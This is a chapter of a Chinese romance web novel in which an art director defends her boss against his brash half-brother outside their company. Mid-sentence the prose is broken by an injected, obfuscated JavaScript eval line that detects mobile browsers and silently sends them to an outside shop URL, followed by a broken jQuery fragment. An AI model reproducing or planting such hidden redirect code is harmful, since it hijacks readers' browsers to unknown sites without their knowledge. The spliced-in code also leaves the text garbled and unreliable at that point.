次日清晨,檀云栖第一次起晚了。
她惊醒时,已经过了上班时间,她抹了一把脸慌忙跑出来。发现客厅里欧明海带着一个清洁工在清洁家具,项尧已经不见踪影。
欧明海指着厨房,“昨晚加班了吧,杜姨给你留了早饭,在蒸柜里。”
“项总呢,他有没有骂我?”檀云栖现在最怕他找事儿。
“先生直接去见客户了,说不用叫你,让你多睡会儿。”欧明海十分和蔼。
“谢谢欧伯、杜姨!”檀云栖放下心来。
杜琳一见她就端出早餐:“看我学着你熬的燕麦粥,好不好喝?”
檀云栖尝了一口,奶香十足、燕麦留香:“真好。”
“多喝一点。”杜琳又给她满上一碗,见她狼吞虎咽。“檀小姐别急,小心噎着了。先生从小性子就温和,不会说你的。”
温和?檀云栖想了想,三年前他可能算得上温和,现在他和这个词真的一点都不沾边。
她笑了下,没反驳。
杜琳一边整理着厨房,一边碎碎念着:“先生对外人肯定要严厉一点,毕竟不厉害,会被人欺负的。可他对真正对他好的人、跟着他的人,都很好。你慢慢就能感受到了……”
檀云栖在杜琳的唠叨中,想起昨天蓝慧珍的咄咄逼人,他的暧昧试探,晚上他躺倒在沙发的无助,又觉得项尧现在这样的喜怒无常、疑神疑鬼,纯属被逼的。
三年前的他和现在的他,是两个极端,哪个他才是真的?
吃完饭换了整洁的羊毛套装,檀云栖发现了不对劲:“欧伯,怎么是你和曾姐在做清洁,张姐呢?”
地中海之家一共请了两名专门做清洁的佣工,白天都是一块儿工作的。
昨天中午,项尧打电话回来,告知欧明海家里有内奸。
欧明海当天下午就查出张姐是蓝慧珍的内线,将檀云栖的一举一动都汇报给了蓝家。昨晚她已被罚款辞退了。
项尧不让告诉任何人,欧明海只能含含糊糊地说:“她回老家去了,以后再找新人。”
檀云栖没有多想,走出门就看见了黑车停在楼下,丛浩落下车窗对她露出灿烂的笑。
他不光没有叫醒她,还给她留了车和司机。这个男人的复杂程度,已经超出了小木匠对人的认知。
丛浩把车平稳地驶出洋房街区,对副驾的檀云栖说:“檀小姐,先生吩咐了,既然已经迟了,就不急着去公司。您第一次来申市,让我带您逛逛市区,看看风景。把你送到公司,我正好去接他!”
檀云栖眼睛一亮,连忙点头:“真的吗?那太谢谢了!我还是第一次到申市来呢!”
来申市两个星期,要么埋在公司看资料,要么窝在项尧家做饭学习,还从没好好看过这座城市。
车子汇入车流,高楼如雨后春笋般并列,玻璃幕墙反射着深秋的阳光,晃得人睁不开眼。街道上车水马龙,咖啡店的香气混着街头的烟火气飘进车窗,处处繁华,处处鲜活。
檀云栖趴在车窗上,眼里满是新奇,指尖不自觉划过玻璃,心里却突然冒出个念头。
如果三年前家里没出事,她没有不告而别,他们会不会也像这样,在这座城市里扎根生活?
可念头刚起,就被她压了下去。
她自嘲地勾了勾唇,就算没有那些意外,如果知道项尧的家世和资本,恐怕也没勇气和他走到一起。光是项母蓝慧珍那样的态度,就够难了,更别说他父亲那边更复杂的家庭牵扯。
海岛偶遇的男女,根本就不会长久。
汽车绕着风景最优美的街区转了一大圈儿,最终停在森洋创投所在的大厦楼下。丛浩说:“我去接项总,请您就在这儿下车吧。”
“谢谢丛师傅!”檀云栖刚推开车门,就被一个打扮新潮的年轻男子拦住了去路。
男人顶着一头微卷的棕色短发,穿着不知名的潮牌机车夹克,眉眼间和项尧有几分相似,却多了几分张扬跳脱。
他上下打量着从项尧车上下来的檀云栖,好奇地问:“你就是我哥带在身边的女人?他在哪儿呢?”
“哥?”檀云栖愣了愣,“你是项总的弟弟?”
“不然呢?”男人挑眉。
一旁的丛浩脸色微变,上前一步:“喂,我家先生是独生子,您是不是认错人了?”
“你懂个屁!”男人瞬间沉了脸,指着丛浩鼻子骂,“我和他一个老爸,怎么不是兄弟?我来找他谈笔业务,你少在这儿挑拨离间!”
檀云栖心里咯噔一下,瞬间明白了。这就是蓝慧珍说的,项尧父亲在外面的私生子。
她压下心头的波澜,平静地问:“这位先生,请问你尊姓大名?”
男人抄着手歪着脑袋,语气带着几分骄傲:“唐禹。尧舜禹的禹,和我哥项尧一样,天生就是富贵命。”
与此同时,项尧已经结束一轮会谈,坐在对方一楼的会客区。
他盯着左手指上的绷带看了许久,又看了眼手表,对秦儒说:“催一下丛浩,怎么这么慢?”
刚说完又想起了什么:“你问他,如果檀云栖还在车上,那就算了。我们打车回去吧!”
秦儒连忙拨通电话,刚听了两句,脸色就变了,挂了电话急忙汇报:“总裁,一个自称您弟弟的人在公司楼下,堵住了檀小姐说要找您谈业务。丛浩不敢留下她一个人,走不开!”
“我哪儿来的弟弟?”项尧把脑子里的人筛了一遍,猜出了大概人选,脸瞬间黑了。他猛地站起身,抓起外套就往门外走。
此刻不是上下班时间,街上的出租车稀少。项尧左手指跳动,拉扯着尾指的伤口,他望着不远处的公司大楼:“等不了车,我抄近道先走!”
话音未落,人已经冲出了大门。
“哎!总裁……”等秦儒反应过来,想抱着文件跟上。可项尧已经迈开长腿,翻越了栏杆花台,很快就消失在街口的绿化带后。
可怜的秦儒:“……”
楼下,唐禹打量着檀云栖,眼神里带着轻佻:“我说,你到底是我哥的什么人?居然坐他的私车!不过看这模样,倒像是会勾人的类型……”
说完,他不怀好意的目光从檀云栖的脸上往下一点点扫去。
檀云栖赶快抱着文件挡在胸前:“我是森洋的艺术总监,和项总只是工作关系,请你说话放尊重些!”
“工作关系?”唐禹嗤笑一声,语气充满嘲讽,“圈子里都传开了,你就是攀附我哥的捞女,装什么清高。我哥真是深得我老爹的遗传,永远不缺女人玩,值得我好好学学。”
这句话彻底点燃了檀云栖的怒火。
她抬眼直视着唐禹,声音陡然拔高:“嘴巴放干净点!你根本不了解项总,他不是你说的那种人。”
“哦?我不了解?”唐禹勾着嘴角,一脸嘲讽,“那你了解?”
“我当然了解,我有眼睛看得见,有耳朵听得见!”檀云栖深吸一口气,语速飞快却字字清晰。
“项总对工作兢兢业业,工作时间是最长的,公司上下有目共睹;他的专业能力超越了所有人,还愿意指导员工进步,从不骚扰任何女下属……”
她说得铿锵有力,连自己都没察觉,哪怕她一直刻意保持距离,却早已把他的好看在眼里。甚至今天早上杜琳说的话,都悄悄刻进了心里。
唐禹被怼得一怔,随即脸色变得难看:“说得真好听,你不过是因为要上位,要他的巨额财产,专挑他的优点讲。”
说着就要伸手去拉檀云栖:“来,你跟我走,让我给你讲讲我的好哥哥,他父母都是什么人!”
“别动檀小姐!”丛浩立刻上前一步,拦住唐禹伸来的手。
檀云栖不卑不亢,继续反驳。“再说一次,我不是他的女人,对他的财产没有兴趣。我只是他的员工,只需要做好业绩就行,不需要攀附任
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17693734|206012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
何人上位。”
怒火让她的声音越来越铿锵:“他父母是他父母,他是他。他对身边的每个人都很好,谁不佩服他、敬重他?他不需要为任何亲戚的卑劣买单。”
从三年前温和的少年,到现在看似铁血的总裁,他确实成长变化了很多。可项尧再凶狠,也没有真正伤害过她。
换一个角度看,他给她一千万还债,带她离开小乡镇,教她在大城市学习实践,对她只有好处。
她越想越觉得心惊,难道他真是这样谋划的?
他为什么要这么对待她?是为了森洋的名声还是为了更大的经济利益?抑或为了证明自己的眼光独一无二?瞧中的资产都能增值?
他有没有一点点只是因为她,还念着她?
唐禹怒视着檀云栖,咬着牙问:“既然你不是他的女人,这么维护他干什么?”
檀云栖摇了摇头,这里是项尧的地盘,他根本不可能缺女人,别自作多情了。她突然大笑一声,声音清亮,“你这话真好笑!我是森洋的员工,他是我的老板(潜台词:债主),维护他,是我的本分!”
“说得好!”丛浩率先鼓起掌来。“我证明,先生是最好的老板。”
不少森洋的员工听说有人来公司门口找茬,纷纷围了过来,七嘴八舌地帮腔:
“就是!项总给的福利高,也不让我们胡乱加班!难得的好老板。”
“哪儿来的假冒亲戚啊,别在这儿造谣生事!”
“再不走,报警报警!”
群情激昂间,项尧已站在了人群后,直视着她慷慨激昂的面容。
这是重逢后的第一次,她在公开场合毫无保留地维护他,不顾对方的身份,不管可能惹上的麻烦。
她心里,是有他的吧。
重逢后,她胆小懦弱又滑头,他一直觉得她很陌生。可这一刻,他仿佛看到了三年前她不顾自己不会游泳也要学潜水的勇敢,不顾他冷漠拒绝也要给他逗他笑的温暖。
暖意顺着血管一层层蔓延开来,不经意间奏响了一首心动的序曲。
他快步上前,站在檀云栖身前:“唐禹,你要找我冲我来,在我的员工面前耍什么威风。”
高大的背影像一堵墙挡住了所有危险,就像在大海时,她趴在他的背上,去往深海。檀云栖一下就心安了。
“哥,你终于回来了!今天专程来找你,我们兄弟俩好好叙叙。我看上一个项目,是具身智能的,缺点钱……”唐禹伸手想搭上项尧的肩膀,被他躲开了。
项尧冷脸道:“你想聊?行,但这里人太多了,去地下停车场等我。”
“停车场?”唐禹本来以为能去森洋看看环境,可项尧像铁塔似的站在他面前,冷若冰霜、拒人于千里之外。
“行吧!”这里没有项震给他撑腰,唐禹咽下反对的话,扭头去了地下停车场。
“都去忙吧!”项尧驱散人群。
吃瓜群众被他的眼神震慑,没有多言。可内心十分澎拜,这两天总裁的亲戚你来我往和电视剧狗血剧情差不多,他们又有谈资了。
项尧望着人群的背影皱了眉头,他不担心自己的家事被别人知道,但他担心她。“有没有被吓到”。
檀云栖摇了摇头,“没有。”
项尧上上下下打量了一遍,衣冠整齐,确定没有受伤。“你等我一会儿,我去去就来找你。”
项尧离开,檀云栖开始心里打鼓。她刚才说了他这么多好话,他是不是听见了,会不会误会她别有用心呀?
她真的只是出于员工对好老板的维护,这个世界好员工多,好老板可是稀缺物品。一定是这样的!
“晦气!”唐禹骂骂咧咧走到停车场,刚准备上他的红色跑车,就看见项尧左手插着兜,踱着沉稳的步子跟了过来。
走到他面前时,露出一个轻蔑的笑意。
“哥!”他正惊喜间,项尧动了动右手指。